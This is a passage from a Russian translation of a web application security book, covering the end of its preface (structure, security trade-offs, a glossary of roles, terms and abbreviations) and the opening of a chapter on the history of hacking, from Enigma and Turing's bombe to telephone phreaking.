Вы узнаете, как защититься от атак, описанных во второй части, и познакомитесь
с общими средствами защиты, варьирующихся от «безопасных по умолчанию»

24  Предисловие

инженерных методологий до передовых практик безопасного кодирования,
которые легко реализуются командой инженеров с помощью тестов и других
простых автоматизированных инструментов (таких как линтер). Вы не только
научитесь писать более безопасный код, но и узнаете ряд полезных приемов,
позволяющих ловить хакеров на месте преступления и улучшить отношение
вашей организации к безопасности ПО.
Большинство глав по структуре напоминает главы, посвященные навыкам взлома из второй части. Мы начинаем с обзора технологий и навыков, необходимых
для подготовки защиты от атак определенного типа.
Первым делом мы рассматриваем защиту базового уровня, помогающую смягчить атаки, но не предотвращающую их полностью. В какой-то момент мы
сможем улучшить ее до такой степени, что остановим большинство, если не
все, попыток взлома.
После этого структура третьей части начинает отличаться от структуры второй,
так как мы переходим к обсуждению вещей, которыми приходится платить
за повышение защиты приложений. Говоря общими словами, любые меры по
повышению безопасности могут ухудшать какие-то характеристики самого
приложения. Возможно, лично вам не придется выбирать приемлемый для
приложения уровень риска, но знать о том, на какие компромиссы при этом
приходится идти, следует.
Часто платить приходится ухудшением производительности. Чем больше
усилий уходит на чтение и очистку данных, тем больше выполняется дополнительных операций, отличающихся от стандартной функциональности приложения. Следовательно, безопасная функциональность обычно требует больше
вычислительных ресурсов, чем небезопасная.
Дополнительные операции означают увеличение объема кода, а это означает
больше времени на обслуживание, тесты и разработку. Увеличение накладных
расходов на разработку, связанную с безопасностью, также часто связано с необходимостью логирования или мониторинга.
Наконец, существуют меры безопасности, за которые приходится платить
удобством пользования.

Оценка компромиссов
В качестве простого примера сравнения преимуществ, которые дает безопасность, и уменьшения удобства использования и производительности, которыми
за это преимущество приходится заплатить, может быть рассмотрена форма

Структура книги  25

входа. Сообщение об ошибке, которое появляется при вводе неверного имени
пользователя, упрощает хакеру подбор комбинации из имени пользователя
и пароля. Ведь приложение само подтверждает активность учетных записей —
соответственно, отпадает необходимость искать список активных имен пользователей для входа.
Остается только воспользоваться методом полного перебора для определения
пароля. Этот метод требует гораздо меньше математических вычислений и затрат по времени по сравнению с подбором полной комбинации «имя пользователя/пароль».
Если же для входа в систему приложение использует схему из адреса электронной почты и пароля, возникает другая проблема. Форма входа позволяет
искать действительные адреса электронной почты, которые можно продать
в маркетинговых целях или для рассылки спама. Даже если приняты меры
против метода полного перебора, специальным образом созданные входные
данные (например, first.last@company.com, firstlast@company.com, firstl@company.
com) дают возможность изменить схему, используемую для учетных записей
электронной почты компании, и определить действительные учетные записи
руководителей продаж или лиц с нужным уровнем доступа с целью последующего фишинга.
Поэтому лучшей практикой часто считается предоставление сведений об ошибках в более общей форме. Конечно, это будет не так удобно для пользователя,
но это плата за повышение уровня безопасности. Это отличный пример компромисса, на который приходится идти при реализации защитных средств. Именно
такие компромиссы мы будем обсуждать в третьей части.
Эта часть чрезвычайно важна для любого инженера по безопасности, который
хочет повысить уровень своих навыков, или любого инженера-программиста,
желающего перейти на должность инженера по безопасности. Информация
из третьей части поможет в разработке и написании более безопасных приложений.
Разумеется, знание методов защиты приложений — ценный актив для любого
хакера. Обычные средства защиты часто можно легко обойти, а вот обход более
сложных механизмов требует глубокого понимания и знаний. Именно поэтому
я предлагаю прочитать книгу от начала до конца.
Разумеется, некоторые части окажутся для вас более полезными, чем другие.
Все зависит от ваших целей. Но перекрестное обучение такого рода особенно
хорошо позволяет посмотреть на одну и ту же задачу с разных сторон.

26   Предисловие

Язык и терминология
Надеюсь, вы уже поняли, что эта книга написана, чтобы научить вас ряду
очень полезных и одновременно очень редких методик, которые улучшат
вашу конкурентоспособность на рынке труда. Но овладеть этими знаниями
довольно сложно. Для этого требуется сосредоточенность, сообразительность
и способность усвоить совершенно новую ментальную модель, определяющую
ваш взгляд на веб-приложения.
Для корректной передачи знаний необходим общий язык. Он поможет мне
провести вас через книгу так, чтобы вы не запутались, а также позволит вам выражаться так же, как это делают в организациях по безопасности и инжинирингу.
Я стараюсь объяснять все новые термины и фразы. В частности, при первом
упоминании аббревиатуры я раскрываю ее значение: ранее вы видели, как я расшифровал межсайтовый скриптинг (Cross-Site Scripting, XSS).
Кроме того, я постарался определить все термины, для которых может понадобиться объяснение. Я собрал их и организовал в виде таблиц (с П.1 по П.3).
Обнаружив в тексте термин или фразу, которую вы не совсем понимаете,
вернитесь к этой главе (добавьте ее в закладки!). Если здесь этот термин
не указан, не стесняйтесь отправить электронное письмо моему редактору:
возможно, мы сможем включить его в следующее издание книги. Если, конечно, мне повезет и я продам достаточно экземпляров, чтобы гарантировать
продолжение!

Таблица П.1. Виды деятельности
Род занятий

Описание

Хакер (Hacker)

Кто-то, кто взламывает системы, обычно с целью захватить данные
или заставить систему работать так, как ее разработчики изначально не планировали

White Hat

Еще их иногда называют «этичными хакерами», так как они используют хакерские методы для помощи организациям в повышении
безопасности

Black Hat

Киберпреступник. Человек, использующий хакерские методы для
взлома систем с целью получения прибыли, создания хаоса или
удовлетворения своих собственных целей и интересов

Язык и терминология  27

Таблица П.1 (окончание)
Род занятий

Описание

Grey Hat

Нечто среднее между этичными хакерами и киберпреступниками.
Иногда такие хакеры нарушают закон, например пытаются взломать
приложения без разрешения, но часто это делается ради интереса
или признания, а не ради выгоды или создания хаоса

Пентестер (Penetration tester)

Человек, которому платят за взлом системы теми способами, какие
применил бы хакер. В отличие от хакеров, пентестерам платят за
сообщения об ошибках и недосмотрах в прикладном ПО, чтобы
компания-владелец могла исправить уязвимость до того, как она
будет обнаружена хакером и использована со злым умыслом

Охотник за багами (Bug bounty
hunter)

Внештатный пентестер. Часто крупные компании создают «программы ответственного раскрытия информации», в рамках которых
за сообщение о дырах в системе безопасности можно получить
денежное вознаграждение. Некоторые охотники за багами работают
фулл-тайм, но часто таким вещами занимаются профессионалы во
внерабочее время в виде подработки

Инженер по безопасности приложений (Application security
engineer)

Иногда их называют инженерами по безопасности продукта. Это
разработчик ПО, чья роль заключается в оценке и повышении безопасности кодовой базы и архитектуры приложений

Инженер по безопасности ПО
(Software security engineer)

Инженер-программист, чья роль заключается в разработке продуктов, связанных с безопасностью, но который не обязательно
отвечает за оценку безопасности для всей организации

Администратор (Admin)

Иногда их называют сисадминами. Это технический персонал, которому поручено поддерживать конфигурацию и безотказную работу
веб-сервера или веб-приложения

Скрам-мастер (Scrum master)

Руководящая должность в инженерной организации, помогающая
группе инженеров в планировании и выполнении разработки

Security champion

Инженер-программист, не связанный с организацией, занимающейся безопасностью, и не отвечающий за безопасность, но заинтересованный в повышении безопасности кода компании

28  Предисловие

Таблица П.2. Термины
Термин

Описание

Уязвимость (Vulnerability)

Ошибка в программной системе, часто возникающая в результате
недосмотра или как неожиданное последствие соединения нескольких
модулей. Ошибки этого типа позволяют хакеру выполнять в системе
непредусмотренные действия

Вектор угрозы или вектор
атаки (Threat vector or attack
vector)

Часть функциональности приложения, которая с точки зрения хакера
написана небезопасно и, следовательно, может быть хорошей целью
для взлома

Поверхность атаки (Attack
surface)

Список уязвимостей приложения, созданный хакером, чтобы определить, с какой стороны лучше всего атаковать программную систему

Эксплойт (Exploit)

Обычно это блок кода или список команд, позволяющие воспользоваться уязвимостью

Полезная нагрузка (Payload)

Эксплойт, отформатированный для отправки на сервер. Зачастую
это означает просто упаковку вредоносного кода в соответствующий
формат для отправки по сети

Red Team

Команда из пентестеров, инженеров по сетевой безопасности и инженеров по безопасности ПО, которая пытается взломать софт, чтобы
оценить способность противостоять настоящим хакерам

Blue Team

Команда из инженеров по безопасности ПО и инженеров по сетевой
безопасности, которая пытается улучшить защиту софта компании,
зачастую пользуясь отчетами красной команды для определения
приоритетов

Purple Team

Команда, которая выполняет обязанности как красной, так и синей
команды. Фактически это команда общего назначения, так как специализированную команду труднее правильно укомплектовать из-за
обширных требований к навыкам

Веб-сайт (Website)

Набор документов, доступный через интернет, обычно по протоколу
HTTP

Веб-приложение (Web
application)

Приложение, похожее на настольное, которое предоставляется через
интернет и запускается в браузере, а не в самой операционной
системе. В отличие от традиционных сайтов имеет много уровней
доступа, хранит пользовательские данные в базах и часто позволяет
обмениваться контентом

Гибридное приложение
(Hybrid application)

Мобильное приложение, созданное на базе веб-технологий. Обычно
использует другую библиотеку, например Apache Cordova, чтобы
совместно пользоваться встроенной функциональностью с вебприложением поверх нее

Язык и терминология  29

Таблица П.3. Аббревиатуры
Аббревиатура

Описание

API (Application
programming interface)

Интерфейс прикладного программирования — набор функций,
предоставляемых одним модулем кода для использования другим.
В книге обычно применяется для обозначения предоставляемых через
HTTP функций, которые браузер может вызывать на сервере. Также
может использоваться для обозначения локально взаимодействующих
модулей, включая отдельные модули в одном пакете ПО

CSRF (Cross-Site Request
Forgery)

Межсайтовая подделка запроса — атака, при которой хакер пользуется
согласием авторизованного пользователя при выполнении запросов
к серверу

CSS (Cascading Style Sheets)

Каскадные таблицы стилей — язык, обычно используемый в комбинации с HTML для создания визуально привлекательного и правильно
оформленного пользовательского интерфейса

DDoS (Distributed denial of
service)

Распределенный отказ в обслуживании. Атака выполняется сразу несколькими компьютерами, подавляя сервер огромным количеством
запросов. Один компьютер, скорее всего, не сможет вызвать такой хаос

DOM (Document Object
Model)

Объектная модель документа — API, поставляемый с каждым веббраузером. Включает все необходимые функции для организации
и управления HTML на странице, а также API для управления историей,
файлами cookie, URL-адресами и другой общей функциональностью
браузера

DoS (Denial of service)

Отказ в обслуживании — атака, направленная не на кражу данных,
а на запрос такого количества ресурсов сервера или клиента, что
ухудшается взаимодействие с пользователем или приложение перестает
функционировать

HTML (HyperText Markup
Language)

Язык гипертекстовой разметки — язык шаблонов, используемый
в интернете наряду с CSS и JavaScript

HTTP (HyperText Transfer
Protocol)

Протокол передачи гипертекста — самый распространенный сетевой
протокол для связи между клиентами и серверами в веб-приложении
или на веб-сайте

HTTPS (HyperText Transfer
Protocol Secure)

Безопасный протокол передачи гипертекста — HTTP-трафик, зашифрованный с использованием TLS или SSL

JSON (JavaScript Object
Notation)

Текстовый формат обмена данными, основанными на JavaScript, — требования к хранению иерархических данных таким образом, чтобы они
мало весили, а также легко читались людьми и машинами. В современных веб-приложениях часто используется при обмене данными между
браузером и веб-сервером

30   Предисловие

Аббревиатура

Описание

OOП (Object-oriented
programming, OOP)

Объектно-ориентированное программирование — модель программирования, в которой код строится вокруг объектов и структур данных,
а не вокруг функциональности или логики

REST (Representational State
Transfer)

Передача состояния представления — особая архитектура для API без
сохранения состояния, в которой конечные точки API определяются как
ресурсы, а не как функции. В REST разрешены многие форматы данных,
но обычно используется JSON

RTC (Real time
communication)

Связь в реальном времени — новый сетевой протокол, позволяющий
браузерам взаимодействовать друг с другом и веб-серверами

SOAP (Simple Object Access
Protocol)

Простой протокол доступа к объектам — протокол для управляемых
функциями API, требующих строго написанных схем. Поддерживает
только формат XML

SPA (Single-page
application)

Одностраничное приложение — сайт в интернете, который функционирует аналогично десктопному приложению, управляя собственным
пользовательским интерфейсом и состоянием без использования UI,
предоставляемых браузером по умолчанию

SSDL (Secure software
development life cycle)

Жизненный цикл безопасной разработки ПО, также называемый SDLC/
SDL. Общая структура для совместной работы разработчиков ПО и инженеров по безопасности

SSL (Secure Sockets Layer)

Слой защищенных сокетов — криптографический протокол, предназначенный для защиты информации при передаче по сети, в частности для
использования в HTTP

TLS (Transport Layer
Security)

Протокол защиты транспортного уровня — криптографический протокол, предназначенный для защиты информации при передаче по сети,
обычно используемый в HTTP. Заменил устаревший протокол SSL

XML (Extensible Markup
Language)

Расширяемый язык разметки — спецификация для хранения иерархических данных, подчиняющаяся строгому набору правил. Тяжелее, чем
JSON, но зато более настраиваемый

XSS (Cross-Site Scripting)

Межсайтовый скриптинг — тип атаки, заключающийся в принуждении
другого клиента (часто браузера) к запуску вредоносного кода

XXE (XML External Entity)

Атака внешнего объекта XML. При ней неправильные настройки
синтаксического анализатора XML используются для кражи локальных
файлов на веб-сервере или внедрения вредоносных файлов с другого
веб-сервера

Язык и терминология  31

Итоги
Эта многоцелевая книга предназначена как для желающих научиться приемам взлома, так и для тех, кто ставит своей целью интересы безопасности.
Я постарал­ся сделать материал легкодоступным для любого разработчика
или администратора с достаточным опытом веб-программирования (клиент–сервер).
Безопасность веб-приложений знакомит с приемами взлома приложений из
арсенала талантливых хакеров и охотников за багами, а затем обучает методам
и процессам защиты от таких злоумышленников.
Эта книга может быть прочитана целиком либо использоваться как справочник
по конкретным методам разведки, атак и защиты от них. В конечном счете,
она написана, чтобы помочь читателю изучить вопросы безопасности вебприложений на практике от простого к сложному, поэтому для ее чтения особого
опыта в области безопасности не требуется.
Я искренне надеюсь, что сотни часов, потраченные на написание этой книги,
принесут вам пользу и вы извлечете интересные уроки. Вы можете писать мне
любые отзывы или предложения для следующих версий книги.

Условные обозначения
В книге используются следующие условные обозначения:
Курсив
Обозначает новые термины.
Интерфейс

Используется, чтобы отмечать URL-адреса, адреса электронной почты, имена
и расширения файлов.
Моноширинный шрифт
Используется для листингов и элементов программ вроде имен переменных
или функций, типов данных, переменных среды, операторов и ключевых слов.
Жирный моноширинный шрифт
Показывает команды или другой текст, который должен вводить пользователь.

32   Предисловие

Моноширинный курсив
Текст, который следует заменить значениями, введенными пользователем,
или значениями, определяемыми контекстом.
Этот элемент указывает на совет или предложение.

Этот элемент указывает на примечание.

Этот элемент указывает на предостережение.

От издательства
Ваши замечания, предложения, вопросы отправляйте по адресу comp@piter.com
(издательство «Питер», компьютерная редакция).
Мы будем рады узнать ваше мнение!
На веб-сайте издательства www.piter.com вы найдете подробную информа­цию
о наших книгах.

ГЛАВА 1

История защиты программного
обеспечения

Прежде чем мы начнем рассматривать приемы атак ПО и техники защиты от
них, хотелось бы дать вам представление о долгой и интересной истории безопасности программного обеспечения. Краткий обзор главных событий в этой
области за последние сто лет позволяет более-менее представить технологию,
на которой основываются современные веб-приложения. Попутно вы увидите,
что разработка механизмов безопасности всегда тесно связана с находчивостью
и дальновидностью хакеров, которые все время ищут способы взломать или
обойти эти механизмы.

Истоки хакерства
За последние два десятилетия хакеры не только приобрели известность, но
и стали пользоваться дурной славой. В результате незнакомому с этой областью
человеку может показаться, что хакерство связано исключительно с интернетом
и что массовым это явление стало в последние 20 лет.
Но это так лишь отчасти. Разумеется, число хакеров резко возросло с появлением Всемирной паутины, но первые из них появились в середине XX века,
а возможно и раньше. Все упирается в определение самого понятия «взлом».
Эксперты спорят, в каком же именно десятилетии появились хакеры, потому
что некоторые примечательные события, случившиеся в начале прошлого века,
очень напоминают современные хакерские атаки.
К примеру, в 1910-х и 1920-х годах наблюдались отдельные характерные случаи, которые можно квалифицировать как взлом. Большинство из них связано

34  Глава 1. История защиты программного обеспечения

с вмешательством в работу передатчиков и приемников кода Морзе или радиоволн. Но эти вещи случались редко, и я не могу вспомнить ни одной крупномасштабной сделки, которая была сорвана в результате злоупотребления этими
технологиями.
Впрочем, я не историк. Я специалист по безопасности с опытом поиска и устранения глубоких архитектурных проблем и уязвимостей на уровне кода в корпоративном ПО. До этого я много лет работал инженером-программистом,
создавая веб-приложения на разных языках и в различных средах. Я до сих пор
продолжаю писать программы автоматизации безопасности, а в свободное время
участвую в проектах. Поэтому я не буду углубляться в исторические детали,
а просто упомяну, что этот раздел основывается на многолетних независимых
исследованиях, и ключевое значение тут имеют уроки, которые можно извлечь
из событий давно ушедших дней и применить сегодня.
Я не ставил себе цели написать исчерпывающий обзор, поэтому в этой главе
будет краткое описание переломных исторических событий, а отсчет мы начнем
с 1930-х. Давайте же посмотрим, какие события привели к современной расстановке сил между хакерами и инженерами.

«Энигма», 1930-е
Показанная на рис. 1.1 электромеханическая роторная машина «Энигма» использовалась для шифрования и расшифровки текстовых сообщений, отправляемых
по радио. Это устройство немецкого производства появилось во время Второй
мировой войны и стало важным технологическим достижением.
Устройство напоминало большую механическую пишущую машинку. При каждом нажатии клавиши роторы перемещались и записывали на первый взгляд
случайный символ, который передавался на все ближайшие «Энигмы». На
самом деле символы не были случайными, а определялись вращением ротора
и параметрами конфигурации, которые можно было изменить в любой момент.
Читать или расшифровывать отправленные сообщения могла только «Энигма»
с идентичной конфигурацией. Именно это ценное свойство позволяло избежать
перехвата важных сообщений.
Сейчас уже невозможно сказать, кто конкретно изобрел механизм шифрования
на основе роторов, но популяризовала эту технологию немецкая компания
Chiffriermaschinen AG, которой управляли два человека. В 1920-х годах представители этой компании путешествовали по Германии, демонстрируя технологию,
в результате чего в 1928 году ее взяли на вооружение немецкие военные для
обеспечения безопасности передачи сверхсекретных сообщений.

«Энигма», 1930-е  35

Рис. 1.1. Шифровальная машина «Энигма»
Предотвращение перехвата передаваемых на дальние расстояния сообщений
стало достижением, которое раньше невозможно было даже представить.
Перехват сообщений до сих пор остается популярной у хакеров техникой,
которую называют атакой посредника (man-in-the-middle attack). И для защиты от таких атак современное ПО использует методы, аналогичные (хотя
и гораздо более мощные) тем, которые использовались сто лет назад машинами «Энигма».
Для своего времени эта машина была впечатляющим технологическим достижением, хотя и не лишенным недостатков. Для перехвата и дешифровки сообщений
требовалась «Энигма» с такой же конфигурацией, как и у отправителя. Поэтому
один раскрытый журнал конфигурации (или в современных терминах закрытый
ключ (private key)) мог вывести из строя всю сеть этих машин.
Для борьбы с этим все группы, отправляющие сообщения через «Энигму», регулярно меняли конфигурацию машин. Перенастройка занимала много времени.
Во-первых, обмен журналами конфигурации происходил только лично, поскольку безопасных способов удаленного обмена данными еще не существовало.
Для пары машин с двумя операторами это было нетрудно сделать. Но для более

36  Глава 1. История защиты программного обеспечения

крупной сети требовалось несколько курьеров, что увеличивало вероятность
кражи журнала конфигурации или, например, его продажи.
Вторая проблема с передачей записей конфигурации заключалась в том, что
перенастройка «Энигмы» проводилась вручную. И для этого требовался специально обученный сотрудник. Программного обеспечения в те времена еще не
было, и корректировка конфигурации означала вмешательство в аппаратную
часть, сводясь к изменению физической компоновки и проводки коммутационной панели. Настройщик должен был разбираться в электронике, а таких
специалистов в начале 1900-х годов было крайне мало.
Сложность и длительность процесса перенастройки привела к тому, что обновления обычно производились раз в месяц. И только для особо важных линий
связи это делалось ежедневно. Это означало, что перехват или утечка журнала
конфигурации давали злоумышленникам — «хакерам» прошлого — доступ ко
всем передачам до конца месяца.
Для машин «Энигма» использовался алгоритм, известный как симметричное
шифрование. В этом случае для шифрования и дешифровки служит один и тот
же криптографический ключ. Такая схема шифрования до сих пор применяется
в ПО для защиты данных при передаче (между отправителем и получателем),
но в классическую схему, ставшую популярной благодаря машинам «Энигма»,
уже внесено множество улучшений.
ПО позволяет создавать намного более сложные ключи. Современные алгоритмы генерации создают ключи, подбор которых методом перебора всех возможных комбинаций (атака «грубой силой») на самом мощном современном
оборудовании может занять более миллиона лет. Кроме того, в отличие от
перенастройки конфигурации машин «Энигма», программные ключи можно
быстро менять.
Ключи могут пересоздаваться при каждом входе пользователя в систему,
при каждом сетевом запросе или через определенный интервал времени.
В результате при использовании такого типа шифрования в софте утечка
ключа дает доступ к одному сетевому запросу или, в худшем случае, если
ключ заново генерируется при входе в систему, доступ к сеансу появляется
на несколько часов.
Если углубиться в историю современной криптографии, мы в итоге дойдем до
1930-х годов и Второй мировой войны. Можно с уверенностью утверждать, что
машина «Энигма» стала важной вехой в обеспечении безопасности удаленной
связи. Соответственно, именно ее можно считать отправной точкой для развития
такой дисциплины, как защита программного обеспечения.

«Энигма», 1930-е  37

Это технологическое достижение породило и тех, кого сейчас называют хакерами. Ведь именно появление у стран гитлеровской коалиции машины «Энигма»
заставило силы союзников разрабатывать методы взлома шифров. Генерал
армии Дуайт Дэвид Эйзенхауэр говорил, что это необходимо для победы над
нацистами.
В сентябре 1932 года польскому математику Мариану Реевскому (Marian
Rejewski) предоставили украденную «Энигму». В октябре 1932 года французский шпион Ганс-Тило Шмидт (Hans-Thilo Schmidt) смог передать ему
действующие конфигурации, что дало Реевскому возможность перехватывать
сообщения и позволило начать анализ шифрования машины.
Мариан пытался определить как механический, так и математический принципы
работы машины. Он хотел понять, как конкретная конфигурация аппаратного
обеспечения приводит к выводу зашифрованного сообщения.
Попытки дешифровки базировались на ряде теорий относительно того, как
определенная конфигурация машины влияет на результат вывода. Анализируя
закономерности в зашифрованных сообщениях и выдвигая теории, основывающиеся на механическом устройстве «Энигмы», Реевский и его коллеги Ежи
Ружицкий (Jerzy Różycki) и Генрих Зыгальский (Henryk Zygalski) в конечном
итоге смогли понять принцип ее работы. Поняв порядок и положение роторов, а также схему соединений на коммутационной панели, команда смогла
эмпирически определить соответствие между конфигурациями и шаблонами
шифрования. Они смогли с приемлемой точностью перенастроить плату и после
нескольких попыток приступить к считыванию зашифрованной радиопередачи.
К 1933 году команда ежедневно перехватывала и расшифровывала сообщения,
передаваемые «Энигмами».
Подобно современным хакерам, команда Реевского перехватывала поток данных
и путем перестраивания схемы шифрования получала доступ к чужим ценным
данным. Именно поэтому я считаю Мариана Реевского и его команду одними
из первых хакеров.
После этого Германия начала наращивать сложность шифрования для машин
«Энигма». Для этого постепенно увеличивали число роторов, осуществляющих шифрование. В конце концов, процесс перестраивания конфигурации
стал слишком трудоемким, и команда Реевского не могла осуществить его за
разум­ное время. Эта противомера отлично демонстрирует отношения, которые
складываются между хакерами и теми, кто пытается им помешать.
Такие отношения продолжаются и по сей день, потому что изобретательные
хакеры постоянно совершенствуют методы взлома программных систем. А по

38  Глава 1. История защиты программного обеспечения

другую сторону хорошо подготовленные инженеры постоянно разрабатывают
новые методы защиты.

Автоматизированный взлом шифра «Энигмы»,
1940-е
Английский математик Алан Тьюринг (Alan Turing) наиболее известен благодаря
разработке теста, известного сегодня как «тест Тьюринга». Тест предназначался
для оценки сложности машинных диалогов и для установления их отличий от
разговоров с реальными людьми. В сфере искусственного интеллекта (ИИ) этот
тест часто считается одним из ключевых принципов.
Наибольшую известность Алан Тьюринг приобрел за свои работы, связанные
с ИИ, но при этом он также был пионером в области криптографии и автоматизации. Перед Второй мировой войной и во время нее исследования Тьюринга были
сосредоточены в первую очередь на криптографии. С сентября 1938 года он по совместительству работал в Правительственной школе кодирования и шифрования
(Government Code and Cypher School, GC&CS). Это одновременно научно-исследовательский институт и разведывательное управление, которое финансировалось
британской армией и располагалось в особняке Блетчли-парк в Англии.
Исследования Тьюринга в основном были связаны с анализом машин «Энигма». В Блетчли-парке он занимался этим под руководством Дилли Нокса (Dilly
Knox), который в то время уже был опытным криптографом.
Как и польские математики до них, Тьюринг и Нокс хотели найти способ взломать (ставший значительно более мощным) шифр немецких «Энигм». Благодаря
сотрудничеству с Польским бюро шифров (Polish Cipher Bureau) они получили
доступ ко всем проведенным десятью годами ранее исследованиям группы Реевского. Это означает, что к тому моменту они хорошо разобрались, как работала
«Энигма». Они понимали взаимосвязь между роторами и электрической схемой
и знали, как конфигурация устройства связана с шифрованием передаваемых
сообщений (рис. 1.2).
Группа Реевского смогла обнаружить в шифровании закономерности, позволившие логически определять конфигурацию «Энигм». Но это решение было
невозможно масштабировать на увеличившееся в десять раз количество роторов.
За время перебора всех возможных комбинаций успевала выйти новая версия
конфигурации. Поэтому перед Тьюрингом и Ноксом стояла задача найти решение, допускающее масштабирование. Фактически им требовался универсальный,
а не узкоспециализированный метод.

Автоматизированный взлом шифра «Энигмы», 1940-е  39

Рис. 1.2. Пара роторов, использовавшаяся для калибровки конфигурации передачи машин
«Энигма», аналоговый эквивалент изменений первичного ключа цифрового шифра

Появление «бомбы»
Криптологическая бомба (рис. 1.3) представляла собой механическое устройство
с электрическим приводом, которое пыталось автоматически реконструировать
положение роторов в «Энигме», анализируя отправленные этой машиной сообщения.

Рис. 1.3. Одна из первых «бомб» из Блетчли-парка, использовавшаяся во время Второй мировой
войны (обратите внимание, сколько рядов роторов применялось для быстрого определения
конфигураций «Энигм»)

40  Глава 1. История защиты программного обеспечения

Первая криптологическая бомба была создана поляками в попытках автоматизировать разработки Реевского. К сожалению, эти устройства определяли
конфигурации не всех «Энигм»: например, они были неэффективны против
машин с более чем тремя роторами. Масштабировать бомбы на «Энигмы»
с более сложной конструкцией не получилось, и в конечном итоге поляки
вернулись к ручным методам расшифровки перехватываемых сообщений
в военное время.
По мнению Алана Тьюринга, оригинальные машины не справились с задачей,
потому что не были универсальными. Создание машины, способной определить
конфигурацию «Энигмы» при любом количестве роторов, он начал с простого
допущения: чтобы правильно разработать алгоритм дешифровки, нужно знать
слово или фразу из зашифрованного сообщения и его позицию внутри сообщения.
К счастью, немецкие военные общались между собой. У немецких военных
были приняты очень строгие правила коммуникации. В частности, каждый
день машины «Энигма» рассылали подробный региональный прогноз погоды.
Благодаря этому все подразделения были в курсе погодных условий. Немцы не
догадывались, что группа Тьюринга использует эти прогнозы как отправную
точку для обратного проектирования.
Знание входных данных (прогноза погоды), отправляемых с помощью «Энигмы», значительно упростило алгоритмическое определение актуальных настроек
этой машины. Полученную таким способом информацию Тьюринг использовал
для разработки дешифровальной машины, работа которой не зависела от количества соединений на коммутационной панели «Энигмы».
Тьюринг попросил выделить средства на создание бомбы, позволяющей точно
определять конфигурацию «Энигмы», необходимую для перехвата и чтения
зашифрованных сообщений. Как только бюджет был утвержден, Тьюринг сконструировал бомбу, 108 барабанов которой вращались со скоростью 120 оборотов
в минуту и позволяли проверить почти 20 000 конфигураций «Энигмы» всего за
20 минут. Это дало возможность быстро узнавать любую новую конфигурацию.
Шифровальная машина «Энигма» перестала быть безопасным средством связи.
Сегодня такая стратегия обратного проектирования известна как атака на основе
открытых текстов (known plaintext attack, KPA). Знание фрагмента зашифрованного текста значительно увеличивает эффективность алгоритма дешифровки.
Подобные методы используются и современными хакерами для получения доступа к зашифрованным данным, хранящимся или используемым в программном обеспечении. Созданная Тьюрингом машина стала важной исторической
вехой, ведь это был один из первых автоматизированных инструментов взлома.

Автоматизированный взлом шифра «Энигмы», 1940-е  41

Фрикинг, 1950-е
После «Энигмы» и криптографической битвы между крупными мировыми
державами следующим важным событием стало широкое внедрение телефонной связи. Телефон дал обычным людям возможность быстро связываться друг
с другом несмотря на расстояния. Но растущим телефонным сетям требовалась
автоматизация.
В конце 1950-х годов телекоммуникационные компании, такие как AT&T, начали внедрять новые телефоны, звонок с которых автоматически направлялся
на номер назначения на основе исходящих аудиосигналов. Нажатие клавиши на
панели телефона вызывало звук определенной частоты, который интерпретировался на коммутаторе. Набор таких звуков преобразовывался в числа, и вызов
направлялся соответствующему абоненту.
Тональный набор (tone dialing) стал важным усовершенствованием, без которого было бы невозможным функционирование крупных телефонных сетей. Он
резко снизил расходы компаний, поскольку позволил обойтись без операторов,
которые раньше осуществляли коммутацию вручную. Теперь хватало одного
оператора, следящего за сетью на случай возникновения проблем. За время, которое раньше занимало обслуживание одного вызова, он мог управлять сотнями.
Но быстро нашлись люди, сообразившие, что системой, построенной на интерпретации звуковых сигналов, можно легко манипулировать. Воспроизводя звуки
нужной частоты рядом с телефонной трубкой, можно менять функциональность
устройства. Энтузиастов, экспериментировавших с этой технологией, в конечном итоге стали называть фрикерами (phreakers). Фактически это предшественники современных хакеров, специализировавшиеся на взломе телефонных сетей.
Точное происхождение термина не установлено, но чаще всего считается, что
это комбинация слов freaking («проклятый», «чертов») и phone («телефон»).
Мне более осмысленным кажется другой вариант, согласно которому основой
термина послужило словосочетание audio frequency («частота звуковых колебаний»), ведь телефоны того времени использовали язык звуковых сигналов.
Тем более что хронологически возникновение термина «фрикинг» практически
совпадает с появлением оригинальной системы тонального набора от AT&T. До
этого момента вмешаться в работу телефонной линии было гораздо труднее,
потому что при каждом звонке оператор на телефонной станции вручную соединял абонентов.
Наиболее примечательным событием, связанным с фрикингом, стало открытие,
что звук с частотой 2600 Гц использовался AT&T как сигнал завершения вызова. По сути, это была управляющая команда, встроенная в систему тонального

42  Глава 1. История защиты программного обеспечения

­ абора. Если издать звук с такой частотой, система коммутации регистрировала
н
вызов как завершенный, хотя на самом деле он оставался открытым. Это позволяло бесплатно совершать междугородные и международные звонки.
Открытие частоты 2600 Гц часто связывают с именем подростка Джо Энгрессиа
(Joe Engressia), который умел точно воспроизводить звуковые сигналы телефонной линии с помощью свиста и хвастался друзьям, демонстрируя тональный
сигнал, мешающий набору номера. Некоторые считают Джо одним из первых
фрикеров, хотя его открытие произошло случайно.
Позже его друг Джон Дрейпер (John Draper) обнаружил, что игрушечные свистки, которые в качестве подарка клали в коробки с хлопьями Cap’n Crunch, издавали звук с частотой 2600 Гц, и правильно применяя такой свисток, можно было
совершать бесплатные звонки в любую точку мира. Эта информация быстро
распространилась, и в конечном итоге появилось оборудование, позволяющее
нажатием кнопки издавать звук определенной частоты.
Первое из этих устройств было известно под названием «синий ящик» (blue
box). Оно почти идеально воспроизводило сигнал 2600 Гц, что позволяло воспользоваться уязвимостью телекоммуникационных систем для совершения бесплатных звонков. И это было только начало. Более поздние поколения фрикеров
вмешивались в работу таксофонов, предотвращали выставление счетов за телефонную связь, имитировали сигналы военной связи и даже умели подделывать
идентификатор вызывающего абонента.
Фактически архитекторы первых телефонных сетей учитывали только поведение обычных, законопослушных людей и их намерения общаться. В современном программном обеспечении такой подход называется проектированием по
оптимистичному сценарию. Это привело к фатальной уязвимости, но послужило
важным уроком, который актуален и сегодня: при проектировании сложных
систем следует всегда исходить из наихудшего сценария.
В конце концов, знание слабых мест системы тонального набора привело к выделению бюджетов на разработку мер противодействия фрикерам, направленных
на защиту доходов телекоммуникационных компаний и увеличение надежности
телефонной связи.

Метод борьбы с фрикингом, 1960-е
В 1960-х годах появилась новая технология набора телефонных номеров, известная как двухтональный многочастотный аналоговый сигнал (dual-tone
multifrequency signaling, DTMF). Это была разработка компании Bell Systems,

Метод борьбы с фрикингом, 1960-е  43

запатентованная и ставшая известной как Touch Tones. Она привязана к расположению кнопок телефона в виде трех столбцов и четырех рядов. Нажатие
каждой кнопки приводит к подаче двух сигналов с разными частотами, а не
одного, как в оригинальных системах тонального набора.
